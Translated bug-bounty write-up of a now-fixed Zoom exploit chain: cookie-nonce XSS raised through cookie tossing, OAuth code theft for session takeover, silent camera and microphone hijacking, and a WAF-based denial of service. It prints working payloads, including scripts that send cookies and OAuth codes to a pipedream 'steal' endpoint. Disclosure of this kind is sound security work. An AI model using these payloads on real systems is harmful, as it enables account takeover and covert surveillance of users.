【翻译】Zoom 漏洞链:从Cookie XSS到会话接管以及摄像头劫持

阅读量21417

发布时间 : 2024-08-28 10:53:50

原文地址:Zoom Session Takeover – Cookie Tossing Payloads, OAuth Dirty Dancing, Browser Permissions Hijacking, and WAF abuse

简介

在本文中,我们将讲述如何将两个看似无害的XSS漏洞串联起来,形成一场持久性攻击链,这使得我们能够通过OAuth Dirty Dancing技术窃取授权码来接管用户会话,并且还能劫持受信任的浏览器权限以悄无声息地开启Zoom基于Web的网络摄像头和麦克风。作为一种能造成DOS(拒绝服务)的技术,我们还将展示如何使用常规的XSS执行所说的“WAF Frame-up”,在其中我们诱导WAF将受害者识别为恶意用户。

这次发现、利用和撰写报告得益于 SudiBrunoZeroH4R3L 的团队合作。

我们在2023年10月2日通过Zoom的漏洞赏金计划报告了此漏洞,并因此获得了15,000美元的奖励。

该漏洞Zoom已完全修复,并于2024年1月1日经由我们团队验证。

Cookie XSS

XSS可能是Web应用程序中最常见的漏洞,但在像zoom.us这样支付了超过1000万美元赏金的主域上寻找它们需要相当大的勇气和自信,尤其是在寻求快速出结果时。我个人非常喜欢的一种被低估的漏洞是Cookie XSS。我知道这听起来很疯狂,因为这类漏洞默认是self-XSS并且看起来无法被利用,但我接下来会解释其中的原因。

我们首先发现的是一个位于_zm_csp_script_nonce Cookie中的看似不可利用的XSS漏洞。幸运的是,这实际上是一个在所有开启CSP页面中使用的CSP Nonce Cookie。当我们向https:// zoom.us发送如下Cookie时:Cookie: _zm_csp_script_nonce=test<>,其后在CSP头中得到了以下输出:content-security-policy: script-src 'nonce-test<>',此时在<script>的nonce属性中输出为:<script nonce="test<>">...</script>,很明显,没有进行任何过滤。我们首先想要做的是逃逸nonce属性,但我们很快遇到了问题。每次我们试图使用双引号逃逸Nonce属性时,Zoom似乎都会生成一个新的随机Nonce:

请求Cookie: Cookie: _zm_csp_script_nonce=test">alert(1)//

响应CSP: content-security-policy: script-src 'nonce-5XTGYai_PTRYUB145'

响应HTML: <script nonce="5XTGYai_PTRYUB145">...</script>

经过一番尝试后,我们发现如果在末尾添加一个引号并不会触发随机Nonce的生成,但也没有输出出来:

请求Cookie: Cookie: _zm_csp_script_nonce=test"

响应CSP: content-security-policy: script-src 'nonce-test'

响应HTML: <script nonce="test">...</script>

由于这不是通常的清理或过滤行为,我们认为这实际上是Cookie字符串解析,有时,Web服务器会像解析带引号的字符串一样解析Cookie的值,为了测试这个理论,我们尝试在带引号的字符串内放置payload,并在中间转义一个双引号。如果确实是Cookie字符串解析的话,那么逃逸的引号应该能输出出来:

请求Cookie: Cookie: _zm_csp_script_nonce="test\"ESCAPED"

响应CSP: content-security-policy: script-src 'nonce-test"ESCAPED'

响应HTML: <script nonce="test"ESCAPED">...</script>

看来我们的推断是正确的!这确实是Cookie字符串解析,转义我们的逃逸引号让它得以输出而不会引发解析错误。下一个问题是让CSP Nonce匹配。如果你仔细观察,会注意到CSP头中的Nonce实际上使用的是单引号 ' 而不是双引号 "。这意味着用来逃逸Nonce属性的双引号实际上是Nonce的一部分,导致CSP Nonce不匹配。这虽然有点麻烦,但解决方法也很简单。我们只需要用一个新的Nonce覆盖有问题的CSP Nonce,这个新的Nonce会与实际出现在<script> nonce属性中的nonce相匹配。

如果你一时难以理解也不用担心,这有些令人困惑,而且坦白说与文章主要内容关系不大,这只是为了让这个XSS漏洞生效我们不得不做的逃逸工作。

请求Cookie: _zm_csp_script_nonce="test\"' 'nonce-test' >alert(1)//";

响应CSP: content-security-policy: script-src 'nonce-test"' 'nonce-test' >alert(1)//

响应HTML: <script nonce="test"' 'nonce-test' >alert(1)//>...</script>

这似乎解决了问题,我们收到了大约40个弹窗警告,因为Nonce在页面上的约40个脚本中不安全地输出了。

zoom_alert

由于Zoom非常重视安全性,几乎每个页面都有CSP策略,这意味着几乎每个页面都容易受到这种Cookie XSS的影响。不仅如此,因为大多数Zoom子域实际上是主域zoom.us的克隆,实际上在几乎每个页面和几乎每个子域上我们能发现Cookie XSS漏洞。这里存在着大量的“潜在利用点”,不过暂时没法真正利用。

Cookie Tossing(投递)

我们的第一反应是寻找并污染任何可缓存的页面,但不幸的是,每一页都返回了一个DYNAMIC缓存头。我们花了几天时间试图寻找任何可缓存的页面,但 Zoom 过去可能处理过相当多的缓存投毒报告,这就是为什么我们什么也没找到。然而,我们并没有放弃。我之所以喜欢Cookie XSS的一个主要原因是因为它打开了许多新漏洞的大门。接下来要介绍的技术实际上允许我们提升任何子域上的XSS漏洞。

Cookie tossing是一种滥用Cookie中“domain”标志的技术,可以在不同的源之间设置Cookie,只要它们共享相同的可注册域(即SameSite)。使用“domain”标志,你可以选择你想在哪个域名上设置新Cookie。例如,www.example.com 可以在 example.comsub.example.comsub2.sub.example.com 上设置Cookie。

在javascript中,它看起来大致是这样的:document.cookie = "cookie=value; domain=.example.com";这是一种很棒的技术,可以提升低风险和被忽视的子域上的XSS漏洞。

有许多巧妙的方法可以使用这项技术,比如绕过某些CSRF机制等,我们想利用这个想法,将恶意的XSS cookie从一个不同的源“投递”到主域zoom.us上。

我们现在掌握的信息如下。

  • 我们在几乎每个zoom.us页面上都有可用的Cookie XSS
  • 缓存污染是不可能的
  • 我们可以使用 cookie 投递来传递来自每个子域的 cookie

考虑到这些情况,我们意识到zoom.us任何子域上的XSS都将造成主域zoom.us上的XSS。

基于POST的XSS

既然知道我们可以使用Cookie投递将任何子域上的XSS升级为主域zoom.us上的XSS,我们开始寻找zoom子域上任何形式的XSS。鉴于zoom拥有大量的子域,这实际上不是一项艰巨的任务。这些子域并非都有价值,也就是说,仅在这些子域上实现XSS基本上没什么用处,这也是为什么很多子域安全问题被忽视的原因。我们发现的漏洞是在redacted.zoom.us上的一个基于POST的XSS。这个漏洞并不像最初发现的那个XSS酷炫,它只是一个基于POST的XSS,没有什么特别之处。对于新手来说,请始终记住测试所有参数,包括 POST 请求中的正文参数。我们的 XSS 看起来像这样:

POST /vuln_endpoint HTTP/1.1
Host: redacted.zoom.us

vuln_parameter="><script>alert(document.domain)</script>

这是我们进行有效利用所需的最后一块拼图。

串联漏洞

现在我们有了两个利用点,接着将其串联起来构建第一个基础利用PoC。受害者的入口点是redacted.zoom.us上基于POST的XSS。入口payload将会向https://zoom.us/webinar/register投递一个恶意Cookie,目前只是简单地执行alert(document.domain),其后立即重定向用户到https://zoom.us/webinar/register来触发Cookie XSS。(我们之所以使用https://zoom.us/webinar/register而不是https://zoom.us,是因为我们最初认为这是唯一的易受攻击路径,为了与最初利用保持一致,后面沿用这条路径),为了触发入口点的POST请求,需构造以下HTML表单:

<form action="https://redacted.zoom.us/vuln_endpoint" method='POST'>
<input name='vuln_parameter' value=""
'><script>
document.cookie=`_zm_csp_script_nonce="TEST\\"' 'nonce-TEST' >alert(document.domain)// \";path=/webinar;domain=.zoom.us;`; 
location=`https://zoom.us/webinar/register`
</script>"/>
<button>exploit</button>
</form>

在我们开始利用 OAuth Dirty Dancing 和浏览器权限劫持之前,先来看看这个 XSS 链是如何工作的。它相当详细,你可以放大,如果你把鼠标悬停在图像上就能直观看到这个 XSS 链是如何工作的(PS:博客原地址有这个功能)。

zoom_xss_graphic

通过OAuth Dirty Dancing实现会话接管

多亏了Cookie投递链,我们现在已经在zoom.us上实现了完整的XSS。为了证明最大的影响,我们想要展示攻击者也可以完全接管受害者的账户。由于 Zoom 允许其用户通过 Google/Apple 登录,这是一个绝佳的机会来演示Frans Rosen 著名的OAuth Dirty Dance 攻击

首先,要开始攻击,我们需要了解OAuth流程的工作原理。理解需要哪些Cookie、参数和令牌才能将泄露的授权码转换为会话令牌。点击“使用Google登录”按钮,会在后台发起如下请求:

GET https://zoom.us/google_OAuth_signin

在请求侧,我们故意移除了所有额外的头信息,甚至包括Cookie头。网站经常使用Cookie来验证OAuth流程的state,以避免CSRF的问题。如果特定的Cookie与state不符,OAuth流程就会失败,这通常是网站保护自己免受CSRF攻击的方式。响应如下:

HTTP/2 302 Found
Date: Sat, 23 Dec 2023 05:45:54 GMT
Content-Length: 0
Location: https://accounts.google.com/o/oauth2/v2/auth?response_type=code&access_type=offline&client_id=849883241272-ed6lnodi1grnoomiuknqkq2rbvd2udku.apps.googleusercontent.com&prompt=select_account&scope=profile%20email&redirect_uri=https%3A%2F%2Fzoom.us%2Fgoogle%2FOAuth&state=RmFJTE1jM0JUTkNnWWVOS2c1THpNQSxnb29nbGVfc2lnbmlu&_x_zm_rtaid=M9_4zfziQTyGb1yaR_I-1w.1703310354126.2576e9cd0cfadc6ca90f6b4ace987ac2&_x_zm_rhtaid=819
Set-Cookie: zm_haid=; Max-Age=0; Expires=Thu, 01 Jan 1970 00:00:10 GMT; Domain=zoom.us; Path=/; Secure; HttpOnly
Set-Cookie: zm_tmaid=; Max-Age=0; Expires=Thu, 01 Jan 1970 00:00:10 GMT; Domain=zoom.us; Path=/; Secure; HttpOnly
Set-Cookie: zm_htmaid=; Max-Age=0; Expires=Thu, 01 Jan 1970 00:00:10 GMT; Domain=zoom.us; Path=/; Secure; HttpOnly
Set-Cookie: _zm_ssid=aw1_c_pV2c5uBoSwa-EaH7DBYUZw; Domain=zoom.us; Path=/; Secure; HttpOnly
Set-Cookie: cred=A7BD3B6C785B68E87E5B636AF958E623; Path=/; Secure; HttpOnly
Set-Cookie: _zm_ctaid=M9_4zfziQTyGb1yaR_I-1w.1703310354126.2576e9cd0cfadc6ca90f6b4ace987ac2; Max-Age=7200; Expires=Sat, 23 Dec 2023 07:45:54 GMT; Domain=zoom.us; Path=/; Secure; HttpOnly
Set-Cookie: _zm_chtaid=819; Max-Age=7200; Expires=Sat, 23 Dec 2023 07:45:54 GMT; Domain=zoom.us; Path=/; Secure; HttpOnly
Set-Cookie: _zm_mtk_guid=76cc849c7259483aba8a452e4e93bf66; Domain=zoom.us; Path=/; Max-Age=63072000; SameSite=None; Secure
Set-Cookie: _zm_o2state=FaILMc3BTNCgYeNKg5LzMA; Max-Age=600; Expires=Sat, 23 Dec 2023 05:55:54 GMT; Domain=zoom.us; Path=/; Secure; HttpOnly
Set-Cookie: zm_OAuth_back_params=eyJiYXNlX3VybCI6Imh0dHBzOi8vem9vbS51cyJ9; Max-Age=600; Expires=Sat, 23 Dec 2023 05:55:54 GMT; Domain=zoom.us; Path=/; Secure; HttpOnly
Set-Cookie: zm_routing_email=; Max-Age=0; Expires=Thu, 01 Jan 1970 00:00:10 GMT; Domain=zoom.us; Path=/; Secure; HttpOnly
Set-Cookie: zm_routing_snsid=; Max-Age=0; Expires=Thu, 01 Jan 1970 00:00:10 GMT; Domain=zoom.us; Path=/; Secure; HttpOnly

在Location头中,我们可以获得OAuth URL,该URL将用于完成“使用Google登录”的流程:

https://accounts.google.com/o/oauth2/v2/auth?response_type=code&access_type=offline&client_id=849883241272-ed6lnodi1grnoomiuknqkq2rbvd2udku.apps.googleusercontent.com&prompt=select_account&scope=profile%20email&redirect_uri=https%3A%2F%2Fzoom.us%2Fgoogle%2FOAuth&state=RmFJTE1jM0JUTkNnWWVOS2c1THpNQSxnb29nbGVfc2lnbmlu&_x_zm_rtaid=M9_4zfziQTyGb1yaR_I-1w.1703310354126.2576e9cd0cfadc6ca90f6b4ace987ac2&_x_zm_rhtaid=819

如果你再次发送同样的请求,唯一改变的是state参数,其余部分保持不变。在响应头Set-Cookie中,可以看到确实有一些Cookie参数似乎与OAuth有关:

zm_OAuth_back_params=eyJiYXNlX3VybCI6Imh0dHBzOi8vem9vbS51cyJ9
_zm_o2state=FaILMc3BTNCgYeNKg5LzMA

第一个看起来像是Base64编码的字符串,解码后大致为:

{"base_url":"https://zoom.us"}

第二个_zm_o2state看起来不像被编码的字符串,那么它到底是什么呢?查看来自Google OAuth URL的state参 数值state=RmFJTE1jM0JUTkNnWWVOS2c1THpNQSxnb29nbGVfc2lnbmlu,对其进行Base64解码后得到:

FaILMc3BTNCgYeNKg5LzMA,google_signin

很好!字符串FaILMc3BTNCgYeNKg5LzMA 与 Cookie_zm_o2state 的值是匹配的。接下来,我们尝试修改response_type参数的值,从code改为code,id_token

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?response_type=code,id_token&access_type=offline&client_id=849883241272-ed6lnodi1grnoomiuknqkq2rbvd2udku.apps.googleusercontent.com&prompt=select_account&scope=profile%20email&redirect_uri=https%3A%2F%2Fzoom.us%2Fgoogle%2FOAuth&state=WGp6UlY0TXRURkNJdHJMclI5am4xQSxnb29nbGVfc2lnbmlu&_x_zm_rtaid=YRKtUDEiQpq8h-XdecBT4A.1703310273066.697f02dbb4ab2b60930ae5d5de699ce9&_x_zm_rhtaid=185&service=lso&o2v=2&theme=glif&flowName=GeneralOAuthFlow

这样做导致了一个错误:response_typeid_token需要nonce。

auth_error

解决这个问题很简单,只需在URL中添加一个任意值的nonce参数:

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?response_type=code,id_token&access_type=offline&client_id=849883241272-ed6lnodi1grnoomiuknqkq2rbvd2udku.apps.googleusercontent.com&prompt=select_account&scope=profile%20email&redirect_uri=https%3A%2F%2Fzoom.us%2Fgoogle%2FOAuth&state=WGp6UlY0TXRURkNJdHJMclI5am4xQSxnb29nbGVfc2lnbmlu&_x_zm_rtaid=YRKtUDEiQpq8h-XdecBT4A.1703310273066.697f02dbb4ab2b60930ae5d5de699ce9&_x_zm_rhtaid=185&service=lso&o2v=2&theme=glif&flowName=GeneralOAuthFlow&nonce=shirley

点击我们想要登录的Google账户,然后会将我们重定向回zoom.us,并在URL的锚点(#)中携带授权代码。(顺带一提,我们可以从OAuth流程中去掉这一步,会让攻击变得更加流畅,因为这不需要用户交互)

burp

link_hover

回想一下,response_type参数值原本被设置为code,但我们修改了它,这让OAuth提供者将授权码放在锚点中而不是查询参数中。code一般会在服务器端进行验证,由于锚点部分不会发送到服务器,授权码将不会被使用。

这就为攻击者创造了一个机会,可以设法窃取这个未被使用的授权码,比如在同源网站利用XSS漏洞泄露授权码。我们所需要做的是创建XSS点窗口与泄露授权码的窗口之间的某种关联。如果能使用iframe则很容易实现,但由于不能对提供OAuth流程的accounts.google.com页面使用iframe,所以不得不使用window.open()方法。对于Zoom而言正常的OAuth是一个比较复杂的过程。如下截图所示,需要发出三次后续请求才能由授权码获取最终的会话Cookie。

history

我们花费了很长时间才弄清楚如何将授权码转换为会话Cookie。然后迅速思考了可能的利用手法,OAuth Dirty Dance 出现在了我们的脑海中。我们没有花时间确认获取会话Cookie所需的所有步骤,还是前面说的,目前是利用子域XSS来进行Cookie投递。

一旦完成了Cookie XSS的部分,将其升级为完整的XSS后,就需要从泄露的授权码中获取会话cookie。经过数小时逐个查看请求后,我们终于弄清楚了所需的所有条件,并创建了一个完整的会话接管攻击。

以下是攻击的实际操作:
原视频地址:https://nokline.github.io/videos/zoom_ato.mp4
我们将在下面发布完整利用脚本的片段,然后逐一解释其中的每个步骤。该脚本是用PHP编写的,你们肯定都喜欢PHP,对吧?

<?php

$url = "https://zoom.us/google_OAuth_signin";

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($curl); //[1]
$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);
curl_close($curl);

$headers = explode("\r\n", $headers);

我们 的第一个步骤是向https://zoom.us/google_OAuth_signin接口发起请求,并将响应头保存在名为`$headers`的变量中(所有这些操作都在服务器端进行,以便我们能够读取所有内容。)保存包含OAuth URL的Location头的值到$location变量中。

$location = substr($headers[3], 10); //OAuth url 存储在这里

保存Set-Cookie头中所有必需的Cookie(尽管看起来杂乱无章,但它们是后面必需的)

$cookie8 = explode(";",substr($headers[8],12))[0];
$cookie14 = explode(";",substr($headers[14],12))[0];
$cookie15 = explode(";",substr($headers[15],12))[0];
$cookie16 = explode(";",substr($headers[16],12))[0];
$cookie18 = explode(";",substr($headers[17],12))[0];
$cookie19 = explode(";",substr($headers[18],12))[0];
$cookie20 = explode(";",substr($headers[19],12))[0];
$cookie21 = explode(";",substr($headers[20],12))[0];
$cookie22 = explode(";",substr($headers[21],12))[0];
$cookie23 = explode(";",substr($headers[22],12))[0];
$cookie24 = explode(";",substr($headers[23],12))[0];
$cookie27 = explode(";",substr($headers[26],12))[0];
$cookie28 = explode(";",substr($headers[27],12))[0];

$cookie_all = $cookie8.$cookie14.$cookie15.$cookie16.$cookie18.$cookie19.$cookie20.$cookie21.$cookie22.$cookie23.$cookie24.$cookie27.$cookie28;

还记得之前我们说过可以去掉受害者最后选择Google帐户进行登录的交互步骤吗?如果从OAuth URL中移除&prompt=select_account参数,Google将跳过“选择账户”步骤,并自动选择已经授权的账户。此外,后来我们发现无需进行response_type的切换,即使授权码保留在查询参数中也是可以的(state不匹配是之前失败的原因)

为了模拟真实的攻击场景,我们还将泄露的数据发送到了攻击者控制的服务器,如必需的Cookie和OAuth URL。

echo "\n<br/><br/><br/><br/><br/><br/>";
$location = str_replace('&prompt=select_account', '', $location); // 去除交互过程
echo $location;

//将此cookie发送到攻击者控制的服务器 https://en2celrrewbul.m.pipedream.net/steal?q=
$attackerDomain = "https://en2celrrewbul.m.pipedream.net/steal?q=";

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $attackerDomain . urlencode($cookie_all));
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

该漏洞利用的客户端代码负责创建XSS窗口与授权码窗口之间的关系。source

这部分代码如下所示:

exploit_ui

“submit”按钮旁边的输入框包含了我们即将执行的XSS payload。Start Exploit链接旁边的文本框包含了将授权码转换为会话Cookie所需的Cookie(这些数据会被发送到攻击者控制的域,仅显示在网页上是为了简化调试过程。在真实场景下,受害者不会看到这些内容,且表单会自动提交)

攻击的流程如下:攻击者向受害者发送一个URL,受害者访问该URL后,PHP脚本会请求OAuth URL,并对其进行攻击所需的修改。

当调用此方法(startExploit)时,它会打开一个新窗口提交CSRF(基于POST的XSS)表单,触发redacted.zoom.us上的XSS,我们称此窗口为winA。3秒后,当前窗口(称为winB)将重定向到从Location头获取的OAuth URL。此URL是从PHP代码动态更新到window.location的。

 function startExploit() {

     window.open("", "csrfWindow", "width=500,height=300,toolbar=0");
     csrfForm.submit()

     setTimeout(() => {
         window.location = `https://accounts.google.com/o/oauth2/v2/auth?response_type=code&access_type=offline&client_id=849883241272-ed6lnodi1grnoomiuknqkq2rbvd2udku.apps.googleusercontent.com&scope=profile%20email&redirect_uri=https%3A%2F%2Fzoom.us%2Fgoogle%2FOAuth&state=bzZvNnVDT3VUZWFyTzFkcUVWaHZOUSxnb29nbGVfc2lnbmlu&_x_zm_rtaid=1VTqrIgaSTWpHaKIaur4rQ.1703318273241.5982aba128be6e8bad7f0ba21ee42417&_x_zm_rhtaid=73;`

     }, 3000);
 }

如下payload在winA中的redacted.zoom.us上下文执行的

<script>
    document.cookie=`_zm_csp_script_nonce="test\\"' 'nonce-test' 'unsafe-eval' >eval(atob('c2V0VGltZW91dCgoKT0+e2ZldGNoKCdodHRwczovL2VuMmNlbHI3cmV3YnVsLm0ucGlwZWRyZWFtLm5ldC9zdGVhbD9xPScrZXNjYXBlKHdpbmRvdy5vcGVuZXIuZG9jdW1lbnQubG9jYXRpb24pKTthbGVydCh3aW5kb3cub3BlbmVyLmRvY3VtZW50LmxvY2F0aW9uKX0sMTAwMDAp'))// \";path=/webinar;domain=.zoom.us;`; 
    location=`https://zoom.us/webinar/register`
</script>

它在.zoom.us域上的Cookie字段_zm_csp_script_nonce中插入XSS payload。我们还为Cookie添加了path属性,这样如果有同名的Cookie存在,我们的Cookie会因path属性更具体而被优先考虑。设置XSS Cookie后,将用户重定向至https://zoom.us/webinar/register接口,这就可以执行出我们插入的恶意Cookie(这里也可以使用其他接口)。

cookies

由于重定向了,winA现在位于http://zoom.us/webinar/register而非http://redacted.zoom.us。基于base64编码的payload现在将在zoom.us的上下文中执行。

setTimeout(() => {
    fetch('https://en2celr7rewbul.m.pipedream.net/steal?q='+escape(window.opener.document.location));
    alert(window.opener.document.location)
},7000)

同时,在winB中,OAuth流程正在进行,我们修改了prompt参数,不再要求用户选择账户,其将自动选择。由于state与Cookie中的不匹配(前面提交到的通过OAuth保护免受CSRF攻击那段),OAuth流程将失败。

winB的位置现在是:

https://zoom.us/google/oauth?state=bXV2aG1Sc2VRdldSeDNXNFNzLVU0Zyxnb29nbGVfc2lnbmlu&code=4%2F0AfJohXkMTag3bf2viz1wsBbj7MVAnrWkbI0p2TNsBvCZ3CqJtR89-h5qwplQ9e7MhYFaLA&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile&authuser=0&prompt=none

winA中的exploit将在7秒后执行,以确保winB中的OAuth流程完成。winA和winB具有相同的源,因此可以用XSS(winA)读取winB窗口中的URL。如果你从winA运行此行代码,它会给出winB的URL

window.opener.document.location

popup

要通过泄露的授权码得到会话Cookie,攻击者只需设置生成OAuth URL时Set-Cookie头中存在的Cookie

all_cookies

设置Cookie后,只需访问包含code和state的泄露URL,攻击者可以从其日志中检索此URL,并成功登录到受害者的账户,下面是我们绘制的一个关系图,以帮助你直观展现OAuth Dirty Dance攻击流程:

zoom_ato

Cookie Tricks

报告此漏洞后,我们惊讶地发现Zoom团队最初将我们的exploit评为了中危。对于他们认为的“账户接管”,似乎存在误解,他们将其定义为重置用户的密码并将其锁定。我们的exploit泄露了受害者的会话,以登录他们的账户,但无法更改密码。这就是我们使用“会话接管”而非“账户接管”的原因,以便与Zoom的VISS定义保持一致。虽然这有点令人失望,考虑到我们为此投入的工作量,我们决定接受这一挑战并增加攻击的影响。

Zoom 团队希望通过重置密码来验证攻击者能够持续控制账户,但实际上还有其他方法可以达到同样的效果,其中之一就是利用 Cookie XSS。Cookie XSS本质上是存储型XSS。由于Cookies存储在受害者的浏览器中,并且随每次请求发送,因此对易受攻击页面的每个请求都将导致XSS。这意味着只要 cookie 存在,XSS 就会持续存在。

在我们的场景中,情况更为有利,因为正如之前所提到的,这个特定的Cookie XSS实际上存在于zoom.us几乎所有的页面上,这意味着它将在几乎每一次用户请求中触发XSS。这非常有用,因为它让我们能够执行许多巧妙的操作,最明显的优势之一是,我们可以编写一个自我修复的exploit。为了确保我们不会失去对受害者账户的访问权,我们可以在Cookie XSS中编写一个exploit,一旦攻击者失去访问权限时,它可以悄无声息地重启整个exploit。这可能是因为会话过期,或者受害者踢掉了任何已登录的设备。一旦我们进行了XSS持久化,只要受害者继续使用带有受感染 cookies 的浏览器访问 Zoom,我们就可以在出现问题时重放攻击。

浏览器权限劫持

这可能是我在这个漏洞利用中使用的最喜欢的技巧。为了充分利用此漏洞产生影响,我们采用了一个非常巧妙的方法,将我们的攻击链武器化为持久的间谍软件。

简单总结一下,此时我们已经构建了一条有效的exploit链,可以在zoom.us大多数子域名的几乎所有页面上产生持久性的XSS。如果还考虑到Zoom是一家视频会议公司,我们可以假设他们有一个基于Web的版本用于视频通话。由此我们可以推断,如果受害者曾经通过Web使用过Zoom,那么他们很有可能已经为 Zoom 的源启用了访问其麦克风和摄像头的必要权限,当然这是出于合法用途。如果这是真的,那么我们可以在exploit中加入一个新的功能,即劫持这些浏览器权限并悄无声息地打开受害者的麦克风和摄像头,无需受害者再次确认弹出的权限提示框。

由于我们拥有的是持久性的exploit,因此在受害者首次受到感染之后,我们不需要任何进一步的用户交互,这使我们能够在用户每次参加会议或访问网站时执行此exploit,来看看是如何做到这一点的。

首先,我们需要找到允许我们加入或开始会议的功能,我们在启动新会议时找到了“从你的浏览器加入”链接。

web_zoom

点击该链接会将我们重定向到app.zoom.us,如果这是你第一次使用Web界面,浏览器将要求你接受使用摄像头和麦克风的权限。如果你过去已经接受了这些权限,它就不会再次询问。因此,这种攻击方式只对至少曾经使用过 Zoom Web界面的用户有效。为了使其工作,我们需要在 app.zoom.us 上执行 JavaScript,幸运的是,app.zoom.us 实际上是 zoom.us 的完全克隆版,意味着我们的exploit链对这个源也有效。

要开始这部分exploit,攻击者需要知道用户是否已经启用了这些权限。我们可以通过navigator API使用JavaScript枚举浏览器权限,以下是一个关于如何使用摄像头权限的例子:

navigator.permissions.query({name:"camera"}).then((result) => {
 console.log(result.state)
});

如果权限已被启用,我们将result.state设置为granted,如果没有启用,则为prompt,如果用户拒绝了权限,为denied。我们可以使用上述代码片段检查权限的状态,并且只有在授予时才开始监视用户,这样就不会弹出提醒。这些权限被启用的可能性与用户至少使用过一次Zoom Web应用版本进行会议的可能性一样高。

下面是一个 javascript PoC 的简单示例,展示确实可以启用摄像头:

const video = document.createElement('video');
video.autoplay = true;
video.style.width = '100%';
video.style.maxWidth = '600px';

document.body.appendChild(video);

navigator.mediaDevices.getUserMedia({ video: true })
    .then((stream) => video.srcObject = stream)
    .catch((error) => alert(`getUserMedia error: ${error.name}`));

显然,就目前而言这不是恶意行为,但现在你可以使用WebRTC和WebSocket将网络摄像头的视频流发送到C2服务器,从而在用户没有接受任何权限的情况下监视他们。enable_camera_js

在寻找 XSS 时,需要始终考虑上下文环境,一些网页比其他网页更受信任并且拥有更多特权,无论是CORS、X-Frames还是浏览器权限。因此,下次当你发现 XSS 时,可以列举下浏览器权限,可能会发现宝藏。

通过WAF Frame-up进行DoS攻击

我们还想展示攻击者可以利用的其他攻击方法,以影响系统的可用性,我们利用了 WAF的一个弱点,通过向每个 Zoom 子域投递恶意 Cookie,让系统误以为受害者是恶意用户,如下所示:document.cookie="test=<script>; domain=.zoom.us" 。任何带有WAF的Zoom子域都会立即检测到投递的Cookie为恶意Cookie,并拒绝用户访问。通过简单地将用户定性为攻击者,我们可以拒绝受害者访问使用了WAF 的子域页面。

小贴士:如果你不想完全切断受害者访问所有页面的途径,你可以利用“path”Cookie标志,仅将恶意Cookie发送到你不希望受害者访问的特定页面,例如“更改密码”页面等;document.cookie="test=<script>; domain=.example.com; path=/change-password"

结论

这次编写exploit的过程非常有趣,而且学到了很多新颖的技术,这些技术在未来可以得到应用。

首先,我们了解到Cookie XSS比最初预期的潜力要大得多,因为不仅可以通过缓存投毒来利用,还可以通过Cookie 投递来利用。这为升级原本看似无用的子域XSS漏洞开辟了许多新的可能性。此外,我们认识到,在Cookie中拥有一个可行的XSS实际上非常强大,它引入了浏览器内的持久性,这对于保持会话接管有效以及编写间谍软件都非常有用。

我们还了解到,某些网站比其他网站享有更多的特权,利用先前授予的权限,比如摄像头和麦克风,可以使XSS漏洞变得更加危险和有影响力。再次强调,该漏洞已经被Zoom完全修复,并由我们的团队进行了验证。

最后,我们还了解到,如果我们想为任何XSS漏洞取的CVSS可用性得分,可以使用WAF Frame-Up的方法,通过向每一个子域故意投递恶意Cookie来实现拒绝服务,从而使我们的受害者看起来像是攻击者。

如果你还在阅读这篇文章,感谢你花时间读完这篇博客!我们知道这篇文章很长,充满了细节,希望你能从中有所收获 🙂 如果你有任何问题,不要犹豫,随时联系我 (H4R3L), Sudi, 或 BrunoZero

本文由AirSky原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/299543

安全客 - 有思想的安全新媒体

分享到:微信
+10赞
收藏
AirSky
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66